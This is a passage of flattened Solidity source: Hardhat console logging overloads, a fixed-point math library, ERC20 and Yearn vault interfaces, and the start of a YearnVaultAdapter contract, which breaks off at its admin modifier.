memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.6.12; library FixedPointMath { uint256 public constant DECIMALS = 18; uint256 public constant SCALAR = 10**DECIMALS; struct FixedDecimal { uint256 x; } function fromU256(uint256 value) internal pure returns (FixedDecimal memory) { uint256 x; require(value == 0 || (x = value * SCALAR) / SCALAR == value); return FixedDecimal(x); } function maximumValue() internal pure returns (FixedDecimal memory) { return FixedDecimal(uint256(-1)); } function add(FixedDecimal memory self, FixedDecimal memory value) internal pure returns (FixedDecimal memory) { uint256 x; require((x = self.x + value.x) >= self.x); return FixedDecimal(x); } function add(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) { return add(self, fromU256(value)); } function sub(FixedDecimal memory self, FixedDecimal memory value) internal pure returns (FixedDecimal memory) { uint256 x; require((x = self.x - value.x) <= self.x); return FixedDecimal(x); } function sub(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) { return sub(self, fromU256(value)); } function mul(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) { uint256 x; require(value == 0 || (x = self.x * value) / value == self.x); return FixedDecimal(x); } function div(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) { require(value != 0); return FixedDecimal(self.x / value); } function cmp(FixedDecimal memory self, FixedDecimal memory value) internal pure returns (int256) { if (self.x < value.x) { return -1; } if (self.x > value.x) { return 1; } return 0; } function decode(FixedDecimal memory self) internal pure returns (uint256) { return self.x / SCALAR; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IDetailedERC20 is IERC20 { function name() external returns (string memory); function symbol() external returns (string memory); function decimals() external returns (uint8); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IDetailedERC20.sol"; /// Interface for all Vault Adapter implementations. interface IVaultAdapter { /// @dev Gets the token that the adapter accepts. function token() external view returns (IDetailedERC20); /// @dev The total value of the assets deposited into the vault. function totalValue() external view returns (uint256); /// @dev Deposits funds into the vault. /// /// @param _amount the amount of funds to deposit. function deposit(uint256 _amount) external; /// @dev Attempts to withdraw funds from the wrapped vault. /// /// The amount withdrawn to the recipient may be less than the amount requested. /// /// @param _recipient the recipient of the funds. /// @param _amount the amount of funds to withdraw. function withdraw(address _recipient, uint256 _amount) external; } pragma solidity ^0.6.12; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IyVaultV2 is IERC20 { function token() external view returns (address); function deposit() external returns (uint); function deposit(uint) external returns (uint); function deposit(uint, address) external returns (uint); function withdraw() external returns (uint); function withdraw(uint) external returns (uint); function withdraw(uint, address) external returns (uint); function withdraw(uint, address, uint) external returns (uint); function permit(address, address, uint, uint, bytes32) external view returns (bool); function pricePerShare() external view returns (uint); function apiVersion() external view returns (string memory); function totalAssets() external view returns (uint); function maxAvailableShares() external view returns (uint); function debtOutstanding() external view returns (uint); function debtOutstanding(address strategy) external view returns (uint); function creditAvailable() external view returns (uint); function creditAvailable(address strategy) external view returns (uint); function availableDepositLimit() external view returns (uint); function expectedReturn() external view returns (uint); function expectedReturn(address strategy) external view returns (uint); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint); function balanceOf(address owner) external view override returns (uint); function totalSupply() external view override returns (uint); function governance() external view returns (address); function management() external view returns (address); function guardian() external view returns (address); function guestList() external view returns (address); function strategies(address) external view returns (uint, uint, uint, uint, uint, uint, uint, uint); function withdrawalQueue(uint) external view returns (address); function emergencyShutdown() external view returns (bool); function depositLimit() external view returns (uint); function debtRatio() external view returns (uint); function totalDebt() external view returns (uint); function lastReport() external view returns (uint); function activation() external view returns (uint); function rewards() external view returns (address); function managementFee() external view returns (uint); function performanceFee() external view returns (uint); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; import "hardhat/console.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {FixedPointMath} from "../libraries/FixedPointMath.sol"; import {IDetailedERC20} from "../interfaces/IDetailedERC20.sol"; import {IVaultAdapter} from "../interfaces/IVaultAdapter.sol"; import {IyVaultV2} from "../interfaces/IyVaultV2.sol"; /// @title YearnVaultAdapter /// /// @dev A vault adapter implementation which wraps a yEarn vault. contract YearnVaultAdapter is IVaultAdapter { using FixedPointMath for FixedPointMath.FixedDecimal; using SafeERC20 for IDetailedERC20; using SafeMath for uint256; /// @dev The vault that the adapter is wrapping. IyVaultV2 public vault; /// @dev The address which has admin control over this contract. address public admin; /// @dev The decimals of the token. uint256 public decimals; constructor(IyVaultV2 _vault, address _admin) public { vault = _vault; admin = _admin; updateApproval(); decimals = _vault.decimals(); } /// @dev A modifier which reverts if the caller is not the admin. 